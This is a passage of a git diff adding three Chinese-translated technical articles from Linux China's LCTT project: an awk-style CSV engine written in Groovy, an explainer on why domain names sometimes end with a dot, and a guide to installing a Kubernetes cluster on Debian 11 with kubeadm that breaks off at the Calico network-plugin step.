https://itsfoss.com/wp-content/uploads/2022/08/record-audio-with-audacity.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/audacity-noise-reduction.png +[7]: https://itsfoss.com/wp-content/uploads/2022/08/audacity-noise-steps.png +[8]: https://itsfoss.com/wp-content/uploads/2022/08/audacity-noise-reduced.png +[9]: https://news.itsfoss.com/audacity-fiasco-fork/ +[0]: https://img.linux.net.cn/data/attachment/album/202211/24/114858g6vpfg3gfglvxnp4.jpg \ No newline at end of file diff --git a/published/202211/20220903 Infuse your awk scripts with Groovy.md b/published/202211/20220903 Infuse your awk scripts with Groovy.md new file mode 100644 index 0000000000..b171a49201 --- /dev/null +++ b/published/202211/20220903 Infuse your awk scripts with Groovy.md @@ -0,0 +1,343 @@ +[#]: subject: "Infuse your awk scripts with Groovy" +[#]: via: "https://opensource.com/article/22/9/awk-groovy" +[#]: author: "Chris Hermansen https://opensource.com/users/clhermansen" +[#]: collector: "lkxed" +[#]: translator: "lxbwolf" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15231-1.html" + +为你的 awk 脚本注入 Groovy +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/09/100129hp5bze5bbbbmddw6.jpg) + +> awk 和 Groovy 相辅相成,可以创建强大、有用的脚本。 + +最近我写了一个使用 Groovy 脚本来清理我的音乐文件中的标签的系列。我开发了一个 [框架][2],可以识别我的音乐目录的结构,并使用它来遍历音乐文件。在该系列的最后一篇文章中,我从框架中分离出一个实用类,我的脚本可以用它来处理文件。 + +这个独立的框架让我想起了很多 awk 的工作方式。对于那些不熟悉 awk 的人来说,你学习下这本电子书: + +> **[《awk 实用指南》][3]** + +我从 1984 年开始大量使用 awk,当时我们的小公司买了第一台“真正的”计算机,它运行的是 System V Unix。对我来说,awk 是非常完美的:它有关联内存associative memory——将数组视为由字符串而不是数字来索引的。它内置了正则表达式,似乎专为处理数据而生,尤其是在处理数据列时,而且结构紧凑,易于学习。最后,它非常适合在 Unix 工作流使用,从标准输入或文件中读取数据并写入到输出,数据不需要经过其他的转换就出现在了输入流中。 + +说 awk 是我日常计算工具箱中的一个重要部分一点也不为过。然而,在我使用 awk 的过程中,有几件事让我感到不满意。 + +可能主要的问题是 awk 善于处理以分隔字段呈现的数据,但很奇怪它不善于处理 CSV 文件,因为 CSV 文件的字段被引号包围时可以嵌入逗号分隔符。另外,自 awk 发明以来,正则表达式已经有了很大的发展,我们需要记住两套正则表达式的语法规则,而这并不利于编写无 bug 的代码。[一套这样的规则已经很糟糕了][4]。 + +由于 awk 是一门简洁的语言,因此它缺少很多我认为有用的东西,比如更丰富的基础类型、结构体、`switch` 语句等等。 + +相比之下,Groovy 拥有这些能力:可以使用 [OpenCSV 库][5],它很擅长处理 CSV 文件、Java 正则表达式和强大的匹配运算符、丰富的基础类型、类、`switch` 语句等等。 + +Groovy 所缺乏的是简单的面向管道的概念,即把要处理数据作为一个传入的流,以及把处理过的数据作为一个传出的流。 + +但我的音乐目录处理框架让我想到,也许我可以创建一个 Groovy 版本的 awk “引擎”。这就是我写这篇文章的目的。 + +### 安装 Java 和 Groovy + +Groovy 是基于 Java 的,需要先安装 Java。最新的、合适的 Java 和 Groovy 版本可能都在你的 Linux 发行版的软件库中。Groovy 也可以按照 [Groovy 主页][6] 上的说明进行安装。对于 Linux 用户来说,一个不错的选择是 [SDKMan][7],它可以用来获得多个版本的 Java、Groovy 和其他许多相关工具。在这篇文章中,我使用的是 SDK 的版本: + +* Java:OpenJDK 11 的 11.0.12 的开源版本 +* Groovy:3.0.8 + +### 使用 Groovy 创建 awk + +这里的基本想法是将打开一个或多个文件进行处理、将每行分割成字段、以及提供对数据流的访问等复杂情况封装在三个部分: + +* 在处理数据之前 +* 在处理每行数据时 +* 在处理完所有数据之后 + +我并不打算用 Groovy 来取代 awk。相反,我只是在努力实现我的典型用例,那就是: + +* 使用一个脚本文件而不是在命令行写代码 +* 处理一个或多个输入文件 +* 设置默认的分隔符为 `|`,并基于这个分隔符分割所有行 +* 使用 OpenCSV 完成分割工作(awk 做不到) + +### 框架类 + +下面是用 Groovy 类实现的 “awk 引擎”: + +``` +@Grab('com.opencsv:opencsv:5.6') +import com.opencsv.CSVReader +public class AwkEngine { + // With admiration and respect for + // Alfred Aho + // Peter Weinberger + // Brian Kernighan + // Thank you for the enormous value + // brought my job by the awk + // programming language + Closure onBegin + Closure onEachLine + Closure onEnd + private String fieldSeparator + private boolean isFirstLineHeader + private ArrayList fileNameList + public AwkEngine(args) { + this.fileNameList = args + this.fieldSeparator = "|" + this.isFirstLineHeader = false + } + public AwkEngine(args, fieldSeparator) { + this.fileNameList = args + this.fieldSeparator = fieldSeparator + this.isFirstLineHeader = false + } + public AwkEngine(args, fieldSeparator, isFirstLineHeader) { + this.fileNameList = args + this.fieldSeparator = fieldSeparator + this.isFirstLineHeader = isFirstLineHeader + } + public void go() { + this.onBegin() + int recordNumber = 0 + fileNameList.each { fileName -> + int fileRecordNumber = 0 + new File(fileName).withReader { reader -> + def csvReader = new CSVReader(reader, + this.fieldSeparator.charAt(0)) + if (isFirstLineHeader) { + def csvFieldNames = csvReader.readNext() as + ArrayList + csvReader.each { fieldsByNumber -> + def fieldsByName = csvFieldNames. + withIndex(). + collectEntries { name, index -> + [name, fieldsByNumber[index]] + } + this.onEachLine(fieldsByName, + recordNumber, fileName, + fileRecordNumber) + recordNumber++ + fileRecordNumber++ + } + } else { + csvReader.each { fieldsByNumber -> + this.onEachLine(fieldsByNumber, + recordNumber, fileName, + fileRecordNumber) + recordNumber++ + fileRecordNumber++ + } + } + } + } + this.onEnd() + } +} +``` + +虽然这看起来是相当多的代码,但许多行是因为太长换行了(例如,通常你会合并第 38 行和第 39 行,第 41 行和第 42 行,等等)。让我们逐行看一下。 + +第 1 行使用 `@Grab` 注解从 [Maven Central][8] 获取 OpenCSV 库的 5.6 本周。不需要 XML。 + +第 2 行我引入了 OpenCSV 的 `CSVReader` 类 + +第 3 行,像 Java 一样,我声明了一个 `public` 实用类 `AwkEngine`。 + +第 11-13 行定义了脚本所使用的 Groovy 闭包实例,作为该类的钩子。像任何 Groovy 类一样,它们“默认是 `public`”,但 Groovy 将这些字段创建为 `private`,并对其进行外部引用(使用 Groovy 提供的 getter 和 setter 方法)。我将在下面的示例脚本中进一步解释这个问题。 + +第 14-16 行声明了 `private` 字段 —— 字段分隔符,一个指示文件第一行是否为标题的标志,以及一个文件名的列表。 + +第 17-31 行定义了三个构造函数。第一个接收命令行参数。第二个接收字段的分隔符。第三个接收指示第一行是否为标题的标志。 + +第 31-67 行定义了引擎本身,即 `go()` 方法。 + +第 33 行调用了 `onBegin()` 闭包(等同于 awk 的 `BEGIN {}` 语句)。 + +第 34 行初始化流的 `recordNumber`(等同于 awk 的 `NR` 变量)为 0(注意我这里是从 00 而不是 1 开始的)。 + +第 35-65 行使用 `each` `{}` 来循环处理列表中的文件。 + +第 36 行初始化文件的 `fileRecordNumber`(等同于 awk 的 `FNR` 变量)为 0(从 0 而不是 1 开始)。 + +第 37-64 行获取一个文件对应的 `Reader` 实例并处理它。 + +第 38-39 行获取一个 `CSVReader` 实例。 + +第 40 行检测第一行是否为标题。 + +如果第一行是标题,那么在 41-42 行会从第一行获取字段的标题名字列表。 + +第 43-54 行处理其他的行。 + +第 44-48 行把字段的值复制到 `name:value` 的映射中。 + +第 49-51 行调用 `onEachLine()` 闭包(等同于 awk 程序 `BEGIN {}` 和 `END {}` 之间的部分,不同的是,这里不能输入执行条件),传入的参数是 `name:value` 映射、处理过的总行数、文件名和该文件处理过的行数。 + +第 52-53 行是处理过的总行数和该文件处理过的行数的自增。 + +如果第一行不是标题: + +第 56-62 行处理每一行。 + +第 57-59 调用 `onEachLine()` 闭包,传入的参数是字段值的数组、处理过的总行数、文件名和该文件处理过的行数。 + +第 60-61 行是处理过的总行数和该文件处理过的行数的自增。 + +第 66 行调用 `onEnd()` 闭包(等同于 awk 的 `END {}`)。 + +这就是该框架的内容。现在你可以编译它: + +``` +$ groovyc AwkEngine.groovy +``` + +一点注释: + +如果传入的参数不是一个文件,编译就会失败,并出现标准的 Groovy 堆栈跟踪,看起来像这样: + +``` +Caught: java.io.FileNotFoundException: not-a-file (No such file or directory) +java.io.FileNotFoundException: not-a-file (No such file or directory) +at AwkEngine$_go_closure1.doCall(AwkEngine.groovy:46) +``` + +OpenCSV 可能会返回 `String[]` 值,不像 Groovy 中的 `List` 值那样方便(例如,数组没有 `each {}`)。第 41-42 行将标题字段值数组转换为 list,因此第 57 行的 `fieldsByNumber` 可能也应该转换为 list。 + +### 在脚本中使用这个框架 + +下面是一个使用 `AwkEngine` 来处理 `/etc/group` 之类由冒号分隔并没有标题的文件的简单脚本: + +``` +def ae = new AwkEngine(args, ':') +int lineCount = 0 +ae.onBegin = { +  println “in begin” +} +ae.onEachLine = { fields, recordNumber, fileName, fileRecordNumber -> +  if (lineCount < 10) +    println “fileName $fileName fields $fields” +    lineCount++ +} +ae.onEnd = { +   println “in end” +   println “$lineCount line(s) read” +} + +ae.go() +``` + +第 1 行 调用的有两个参数的构造函数,传入了参数列表,并定义冒号为分隔符。 + +第 2 行定义一个脚本级的变量 `lineCount`,用来记录处理过的行数(注意,Groovy 闭包不要求定义在外部的变量为 `final`)。 + +第 3-5 行定义 `onBegin()` 闭包,在标准输出中打印出 “in begin” 字符串。 + +第 6-10 行定义 `onEachLine()` 闭包,打印文件名和前 10 行字段,无论是否为前 10 行,处理过的总行数 `lineCount` 都会自增。 + +第 11-14 行定义 `onEnd()` 闭包,打印 “in end” 字符串和处理过的总行数。 + +第 15 行运行脚本,使用 `AwkEngine`。 + +像下面一样运行一下脚本: + +``` +$ groovy Test1Awk.groovy /etc/group +in begin +fileName /etc/group fields [root, x, 0, ] +fileName /etc/group fields [daemon, x, 1, ] +fileName /etc/group fields [bin, x, 2, ] +fileName /etc/group fields [sys, x, 3, ] +fileName /etc/group fields [adm, x, 4, syslog,clh] +fileName /etc/group fields [tty, x, 5, ] +fileName /etc/group fields [disk, x, 6, ] +fileName /etc/group fields [lp, x, 7, ] +fileName /etc/group fields [mail, x, 8, ] +fileName /etc/group fields [news, x, 9, ] +in end +78 line(s) read +$ +``` + +当然,编译框架类生成的 `.class` 文件需要在 classpath 中,这样才能正常运行。通常你可以用 `jar` 把这些 class 文件打包起来。 + +我非常喜欢 Groovy 对行为委托的支持,这在其他语言中需要各种诡异的手段。许多年来,Java 需要匿名类和相当多的额外代码。Lambda 已经在很大程度上解决了这个问题,但它们仍然不能引用其范围之外的非 final 变量。 + +下面是另一个更有趣的脚本,它很容易让人想起我对 awk 的典型使用方式: + +``` +def ae = new AwkEngine(args, ';', true) +ae.onBegin = { +   // nothing to do here +} +def regionCount = [:] +   ae.onEachLine = { fields, recordNumber, fileName, fileRecordNumber -> +   regionCount[fields.REGION] = +   (regionCount.containsKey(fields.REGION) ? +   regionCount[fields.REGION] : 0) + +  (fields.PERSONAS as Integer) +} +ae.onEnd = { +   regionCount.each { region, population -> +   println “Region $region population $population” + } +} + +ae.go() +``` + +第 1 行调用了三个函数的构造方法,`true` 表示这是“真正的 CSV” 文件,第一行为标题。由于它是西班牙语的文件,因此它的逗号表示数字的`点`,标准的分隔符是分号。 + +第 2-4 行定义 `onBegin()` 闭包,这里什么也不做。 + +第 5 行定义一个(空的)`LinkedHashmap`,键是 String 类型,值是 Integer 类型。数据文件来自于智利最近的人口普查,你要在这个脚本中计算出智利每个地区的人口数量。 + +第 6-11 行处理文件中的行(加上标题一共有 180,500 行)—— 请注意在这个案例中,由于你定义 第 1 行为 CSV 列的标题,因此 `fields` 参数会成为 `LinkedHashMap` 实例。 + +第 7-10 行是 `regionCount` 映射计数增加,键是 `REGION` 字段的值,值是 `PERSONAS` 字段的值 —— 请注意,与 awk 不同,在 Groovy 中你不能在赋值操作的右边使用一个不存在的映射而期望得到空值或零值。 + +第 12-16 行,打印每个地区的人口数量。 + +第 17 行运行脚本,调用 `AwkEngine` 。 + +像下面一样运行一下脚本: + +``` +$ groovy Test2Awk.groovy ~/Downloads/Censo2017/ManzanaEntidad_CSV/Censo*csv +Region 1 population 330558 +Region 2 population 607534 +Region 3 population 286168 +Region 4 population 757586 +Region 5 population 1815902 +Region 6 population 914555 +Region 7 population 1044950 +Region 8 population 1556805 +Region 16 population 480609 +Region 9 population 957224 +Region 10 population 828708 +Region 11 population 103158 +Region 12 population 166533 +Region 13 population 7112808 +Region 14 population 384837 +Region 15 population 226068 +$ +``` + +以上为全部内容。对于那些喜欢 awk 但又希望得到更多的东西的人,我希望你能喜欢这种 Groovy 的方法。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/awk-groovy + +作者:[Chris Hermansen][a] +选题:[lkxed][b] +译者:[lxbwolf](https://github.com/lxbwolf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/clhermansen +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/browser_screen_windows_files.png +[2]: https://opensource.com/article/22/8/music-tagging-framework-groovy +[3]: https://opensource.com/downloads/awk-ebook +[4]: http://regex.info/blog/2006-09-15/247 +[5]: http://opencsv.sourceforge.net/ +[6]: https://groovy.apache.org/download.html +[7]: https://opensource.com/article/22/3/manage-java-versions-sdkman +[8]: https://mvnrepository.com/artifact/com.opencsv/opencsv diff --git a/published/202211/20220912 Why do domain names sometimes end with a dot.md b/published/202211/20220912 Why do domain names sometimes end with a dot.md new file mode 100644 index 0000000000..f8ed0a81d4 --- /dev/null +++ b/published/202211/20220912 Why do domain names sometimes end with a dot.md @@ -0,0 +1,231 @@ +[#]: subject: "Why do domain names sometimes end with a dot?" +[#]: via: "https://jvns.ca/blog/2022/09/12/why-do-domain-names-end-with-a-dot-/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lujun9972" +[#]: translator: "lxbwolf" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15254-1.html" + +为什么有时候域名的末尾有个点? +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/15/001222ytut3qvtau32f2p2.jpg) + +大家好!今年早些时候,我在写《[DNS 是如何工作的][1]》 时,有人问我——为什么人们有时在域名的末尾加一个点?例如,如果你通过运行 `dig example.com` 查询 `example.com` 的 IP,你会看到一下内容: + +``` +$ dig example.com +example.com. 5678 IN A 93.184.216.34 +``` + +执行完 `dig` 命令后,`example.com` 有一个 `.` ——变成了 `example.com.`!发生了什么? + +有些 DNS 工具也要求传给它的域名后加一个 `.`:如果你在使用 [miekg/dns][2] 时传给它 `example.com`,它会报错: + +``` +// trying to send this message will return an error +m := new(dns.Msg) +m.SetQuestion("example.com", dns.TypeA) +``` + +最初我以为我知道这个问题的答案(“呃,末尾的点意味着域名是完全限定的?”)。这是对的 —— 一个完全限定域名fully qualified domain name(FQDN)是一个末尾有 `.` 的域名! + +但是*为什么*末尾的点是有用且重要的呢? + +### 在 DNS 的请求/响应中,域名的末尾并没有 “.” + +我曾经(错误地)认为 “为什么末尾有一个点?”的答案可能是 “在 DNS 请求/响应中,域名末尾有一个 `.`,所以我们把它放进去,以匹配你的计算机实际发送/接收的内容”。但事实并不是这样! + +当计算机发送 DNS 请求/响应时,域名的末尾并没有点。实际上,域名中*没有*点。 + +域名会被编码成一系列的长度/字符串对。例如,域名 `example.com` 被编码为这 13 个字节。 + +``` +7example3com0 +``` + +编码后的内容一个点也没有。一个 ASCII 域名(如 `example.com`)被转成了各种 DNS 软件的 DNS 请求/响应中使用的格式。 + +今天我们来讨论域名被转成 DNS 响应的一个地方:区域文件。 + +### 区域文件中域名末尾的 “.” + +一些人管理域名的 DNS 记录的方法是创建一个被称为 “区域文件” 的文本文件,然后配置一些 DNS 服务器软件(如 `nsd` 或 `bind`)来为该区域文件中指定的 DNS 记录提供服务。 + +下面是一个对应 `example.com` 的示例区域文件: + +``` +orange 300 IN A 1.2.3.4 +fruit 300 IN CNAME orange +grape 3000 IN CNAME example.com. +``` + +在这个文件中,任何不以 `.` 结尾的域名(比如 `orange`)后都会自动加上 `.example.com`。所以 `orange` 成了 `orange.example.com` 的简称。DNS 服务器从它的配置中得知这是一个 `example.com` 的区域文件,所以它知道在所有不以点结尾的名字后面自动添加 `example.com`。 + +我想这里的想法只是为了少打几个字符——如果要打出全称,区域文件会是这样: + +``` + + orange.example.com. 300 IN A 1.2.3.4 + fruit.example.com. 300 IN CNAME orange.example.com. + grape.example.com. 3000 IN CNAME example.com. + +``` + +确实多了很多字符。 + +### 你也可以不通过区域文件来使用 DNS + +尽管官方的 DNS RFC([RFC 1035][3])中定义了区域文件格式,但你也可以不通过区域文件来使用 DNS。例如,AWS Route 53 就不用区域文件来存储 DNS 记录!你可以通过 Web 界面或 API 来创建记录,我猜他们是用某种数据库而不是一堆文本文件来存储记录。 + +不过,Route 53(像许多其他 DNS 工具一样)确实支持导入和导出区域文件,这个功能或许在你更换 DNS 提供商时很有用。 + +### dig 命令输出中末尾的 “.” + +现在我们来讨论下 `dig` 命令的输出: + +``` +$ dig example.com +; <<>> DiG 9.18.1-1ubuntu1.1-Ubuntu <<>> +all example.com +;; global options: +cmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10712 +;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 + +;; OPT PSEUDOSECTION: +; EDNS: version: 0, flags:; udp: 65494 +;; QUESTION SECTION: +;example.com. IN A + +;; ANSWER SECTION: +example.com. 81239 IN A 93.184.216.34 +``` + +有一件奇怪的事是,几乎每一行都以 `;;` 开头,这是怎么回事?`;` 是区域文件中的注释字符! + +我想 `dig` 以这种奇怪的方式输出的原因可能是为了方便你粘贴这些内容到区域文件时,不用修改就可以直接用。 + +这也是 `example.com` 末尾有个 `.` 的原因 —— 区域文件要求域名末尾必须有点(否则它们会被解释为是相对于该区域的)。因此 `dig` 也这么处理了。 + +我真的希望 dig 有一个 `+human` 选项,以更人性化的方式打印出这些信息,但现在我太懒了,懒得花工夫去实际贡献代码来做这件事(而且我并不擅长 C),所以我只能在我的博客上抱怨一下 :) + +### curl 命令输出中末尾的 “.” + +我们来看下另一个末尾有 `.` 的例子:`curl`! + +我家里有台计算机名为 `grapefruit`,其上运行着 Web 服务器。当我执行 `curl grapefruit` 时,会输出: + +``` +$ curl grapefruit + + + + +...... +``` + +这样运行没问题!但是如果我在域名后加一个 `.` 会怎样呢?它报错了: + +``` +$ curl grapefruit. +curl: (6) Could not resolve host: grapefruit. +``` + +发生了什么?为了搞清楚,我们需要先来学习下搜索域: + +### 初识搜索域 + +当我执行 `curl grapefrult` 时,它是怎么被转成一个 DNS 请求的?你可能会认为我的计算机会向域名 `grapefruit` 发送一个请求,对吗?但事实并不是这样。 + +让我们用 `tcpdump` 来看看到底是什么域名在被查询。 + +``` +$ sudo tcpdump -i any port 53 +[...] A? grapefruit.lan. (32) +``` + +实际上是向 `grapefruit.lan.` 发送的请求。为什么呢? + +解释一下: + + 1. `curl` 调用函数 `getaddrinfo` 来查询 `grapefruit` + 2. `getaddrinfo` 查询了我计算机上的文件 `/etc/resolv.conf` + 3. `/etc/resolv.conf` 包含两行内容: + ``` + nameserver 127.0.0.53 + search lan + ``` + 4. 因为有 `search lan` 这行内容,所以 `getaddrinfo` 在 `grapefruit` 的末尾添加了一个 `lan`,去查询 `grapefruit.lan` + +### 什么时候搜索域被使用? + +现在我们知道了一些奇怪的事情:当我们查询一个域名时,有时会有一个额外的东西(如 `lan`)被加到最后。但是什么时候会发生这种情况呢? + + 1. 如果我们在域名**末尾**添加一个 `.`,那么这时不会用到搜索域 + 2. 如果域名**中间包含**一个 `.`(如 `example.com`),那么默认也不会用到搜索域。但是可以通过修改配置来改变处理逻辑(在 [ndots][4] 里有更详细的说明) + +我们现在知道了 `curl grapefruit.` 与 `curl grapefruit` 结果不一样的原因——因为一个查询的是 `grapefruit.`,而另一个查询的是 `grapefruit.lan.`。 + +### 我的计算机怎么知道使用哪个搜索域呢? + +当我连接路由时,它会通过 DHCP 告诉我它的搜索域是 `lan` —— 它也是通过这个方式给我的计算机分配 IP。 + +### 所以为什么要在域名末尾加一个点呢? + +现在我们已经了解了区域文件和搜索域,下面是我认为的人们要在域名末尾加点的原因: + +有两种情况下,域名会被修改,并在末尾添加其他东西。 + + * 在 `example.com` 的区域文件中,`grapefruit` 会被转为 `grapefruit.example.com` + * 在我的本地网络(我的计算机已经配置了使用搜索域 `lan`),`grapefruit` 被转为 `grapefruit.lan` + +因此,由于域名在某些情况下实际上可能被转成其他名字,人们就在结尾处加一个 `.`,以此来表示 “**这是域名,末尾不需要添加任何东西,这就是全部内容**”。否则会引起混乱。 + +“这就是全部内容”的技术术语是**“完全限定域名”**,简称为**“FQDN”**。所以 `google.com.` 是一个完全限定域名,而 `google.com` 不是。 + +我总是要提醒自己这样做的原因,因为我很少使用区域文件和搜索域,所以我经常觉得——“我当然是指 `google.com` 而不是 `google.com.something.else`! 我为什么要指其他东西?那太傻了!” + +但是有些人确实在使用区域文件和搜索域(例如 Kubernetes 中使用了搜索域!),所以结尾的 `.` 很有用,可以让人确切的知道,不应该再添加其他东西。 + +### 什么时候在末尾添加 “.”? + +以下是关于何时在域名末尾加 ". " 的几个简单说明: + +**需要添加:配置 DNS 时** + +在配置 DNS 时,使用完全限定域名从来都不是坏事。你不一定要这样做:非完全限定域名通常也能正常工作,但我从来没有遇到过不接受完全限定域名的 DNS 软件。 + +有些 DNS 软件需要这样做:现在我为 `jvns.ca` 使用的 DNS 服务器让我在域名的末尾加上 `.`(例如在 CNAME 记录中),并提示如果我不添加,它将在我输入的内容末尾加上 `.jvns.ca`。我不同意这个设计决定,但这不是什么大问题,我只是在最后加一个 `.`。 + +**不需要加:在浏览器中** + +令人困惑的是,在浏览器中,在域名结尾处加一个 `.` *不能*正常运行。例如,如果我在浏览器中输入 `https://twitter.com.`,它就会报错。它会返回 404。 + +我认为这里发生的事情是,它将 HTTP `Host` 标头设置为 `Host:twitter.com.`,而对端的 Web 服务器则期望 `Host:twitter.com`。 + +同样地,`https://jvns.ca.` 由于某种原因,返回了一个 SSL 错误。 + +### 我认为相对域名在过去是比较常见的 + +最后一件事:我认为“相对”域名(比如我用 `grapefruit` 来指代我家的另一台计算机 `grapefruit.lan`)在过去更常用,因为 DNS 是在大学或其他有大型内部网络的大机构中开发的。 + +在今天的互联网上,使用“绝对”域名(如 `example.com`)似乎更为普遍。 + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2022/09/12/why-do-domain-names-end-with-a-dot-/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[lxbwolf](https://github.com/lxbwolf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://wizardzines.com/zines/dns/ +[2]: https://github.com/miekg/dns +[3]: https://www.rfc-editor.org/rfc/rfc1035#section-4.1.1 +[4]: https://pracucci.com/kubernetes-dns-resolution-ndots-options-and-why-it-may-affect-application-performances.html diff --git a/published/202211/20220916 How to Install Kubernetes Cluster on Debian 11 with Kubeadm.md b/published/202211/20220916 How to Install Kubernetes Cluster on Debian 11 with Kubeadm.md new file mode 100644 index 0000000000..dd56f79b7c --- /dev/null +++ b/published/202211/20220916 How to Install Kubernetes Cluster on Debian 11 with Kubeadm.md @@ -0,0 +1,323 @@ +[#]: subject: "How to Install Kubernetes Cluster on Debian 11 with Kubeadm" +[#]: via: "https://www.linuxtechi.com/install-kubernetes-cluster-on-debian/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: "lxbwolf" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15302-1.html" + +如何用 Kubeadm 在 Debian 11 上安装 Kubernetes 集群 +====== + +![][0] + +> 你是否在寻找一份在 Debian 11(Bullseye)上安装 Kubernetes 集群的简易指南? + +这份分步指南将向你展示如何使用 Kubeadm 工具在 Debian 11 上安装 Kubernetes 集群。 + +Kubernetes(k8s)集群包含主控节点和工作节点,用于运行容器化的应用程序。主控节点作为控制平面,工作节点为实际工作负载提供环境。 + +前置条件: + +* 已安装 Debian 11 +* 2 CPU / vCPU +* 2 GB RAM +* 20 GB 空闲硬盘空间 +* 有管理员权限的 sudo 用户 +* 稳定的网络连接 + +实验环境配置: + +在本文中,我使用了 3 个 Debian 11 系统的节点,配置如下 + +* 主控节点(`k8s-master`) – 192.168.1.236 +* 工作节点 1(`k8s-worker1`) – 192.168.1.237 +* 工作节点 2(`k8s-worker2`) – 192.168.1.238 + +事不宜迟,我们直接进入安装步骤。 + +### 1、设置主机名和更新 /etc/hosts 文件 + +在主控节点和工作节点上使用 `hostnamectl` 命令来设置主机名: + +``` +$ sudo hostnamectl set-hostname "k8s-master"       // 在主控节点运行 +$ sudo hostnamectl set-hostname "k8s-worker1"      // 在工作节点 1 运行 +$ sudo hostnamectl set-hostname "k8s-worker2"      // 在工作节点 2 运行 +``` + +在所有节点的 `/etc/hosts` 文件末尾添加下面几行内容: + +``` +192.168.1.236       k8s-master +192.168.1.237       k8s-worker1 +192.168.1.238       k8s-worker2 +``` + +### 2、在所有节点上关闭交换分区 + +我推荐关闭交换分区,以便更丝滑地使用 `kubelet`。在所有节点上执行以下命令来关闭交换分区: + +``` +$ sudo swapoff -a +$ sudo sed -i '/ swap / s/^\(.*\)$/#\1/g' /etc/fstab +``` + +### 3、配置 Kubernetes 集群相关的防火墙规则 + +如果你的操作系统防火墙是打开的,请分别在主控节点和工作节点允许以下的端口。 + +在主控节点,执行: + +``` +$ sudo ufw allow 6443/tcp +$ sudo ufw allow 2379/tcp +$ sudo ufw allow 2380/tcp +$ sudo ufw allow 10250/tcp +$ sudo ufw allow 10251/tcp +$ sudo ufw allow 10252/tcp +$ sudo ufw allow 10255/tcp +$ sudo ufw reload +``` + +在工作节点,执行: + +``` +$ sudo ufw allow 10250/tcp +$ sudo ufw allow 30000:32767/tcp +$ sudo ufw reload +``` + +注意:如果你的 Debian 11 系统防火墙是关闭的,可以跳过此步骤。 + +### 4、在所有节点安装 Containerd 运行时 + +Containerd 是容器运行时的行业标准,所有节点必须安装 Containerd。 + +先在所有节点上配置如下的核心参数,再安装 Containerd。 + +``` +$ cat </dev/null 2>&1 +``` + +在所有节点上设置 `cgroupdriver` 为 `systemd`,编辑 `/etc/containerd/config.toml` 文件,找到 `[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runc.options]` 部分,添加一行内容:`SystemdCgroup = true`: + +``` +$ sudo vi /etc/containerd/config.toml +``` + +![systemdCgroup-true-containerd-config-toml][1] + +保存并退出文件。 + +在所有节点上重启并启用 `containerd` 服务: + +``` +$ sudo systemctl restart containerd +$ sudo systemctl enable containerd +``` + +### 5、添加 Kubernetes Apt 库 + +执行以下命令,添加 Kubernetes Apt 库: + +``` +$ sudo apt install gnupg gnupg2 curl software-properties-common -y +$ curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo gpg --dearmour -o /etc/apt/trusted.gpg.d/cgoogle.gpg +$ sudo apt-add-repository "deb http://apt.kubernetes.io/ kubernetes-xenial main" +``` + +### 6、在所有节点上安装 kubelet、kubectl 和 kubeadm + +在所有节点上执行以下 `apt` 命令,安装 Kubernetes 集群组件,如 `kubelet`、`kubectl` 以及 `kubeadm`。 + +``` +$ sudo apt update +$ sudo apt install kubelet kubeadm kubectl -y +$ sudo apt-mark hold kubelet kubeadm kubectl +``` + +### 7、使用 Kubeadm 创建 Kubernetes 集群 + +现在我们可以创建 Kubernetes 集群了,在主控节点上执行以下命令: + +``` +$ sudo kubeadm init --control-plane-endpoint=k8s-master +``` + +命令输出: + +![Kubernetes-Control-Plane-Initialization-Debian11][2] + +出现以上内容,说明控制平面初始化成功。在输出中,有普通用户与集群交互的命令,也有把任何工作节点加入到集群的命令。 + +要开始与集群进行交互,请在主控节点上运行以下命令: + +``` +$ mkdir -p $HOME/.kube +$ sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config +$ sudo chown $(id -u):$(id -g) $HOME/.kube/config +``` + +执行以下 `kubectl` 命令来获取节点和集群的信息: + +``` +$ kubectl get nodes +$ kubectl cluster-info +``` + +以上命令的输出: + +![Nodes-Cluster-Info-Kubectl][3] + +通过执行 `kubeadm join` 命令来把两个工作节点加入到集群。 + +注意:请从 `kubeadm init` 命令的输出中复制完整的命令。在我的例子中,命令如下: + +``` +$ sudo kubeadm join k8s-master:6443 --token ta622t.enl212euq7z87mgj \ +   --discovery-token-ca-cert-hash sha256:2be58f54458d0e788c96b8841f811069019161f9a3dd8502a38c773e5c6ead17 +``` + +在工作节点 1 上的输出如下: + +![Worker-Node1-Join-Kunernetes-Cluster][4] + +在工作节点 2 上的输出如下: + +![Worker-Node2-Join-Kubernetes-Cluster][5] + +在主控节点上执行以下命令,检查节点的状态: + +``` +$ kubectl get nodes +NAME          STATUS     ROLES           AGE     VERSION +k8s-master    NotReady   control-plane   23m     v1.25.0 +k8s-worker1   NotReady             9m27s   v1.25.0 +k8s-worker2   NotReady             2m19s   v1.25.0 +$ +``` + +为了使节点状态变为 `ready`,我们需要安装容器荚Pod网络插件,如 Calico 或 flannel。 + +### 8、安装 Calico Pod 网络插件 + +在主控节点上执行以下命令安装 Calico: + +``` +$ kubectl apply -f https://projectcalico.docs.tigera.io/manifests/calico.yaml +``` + +输出: + 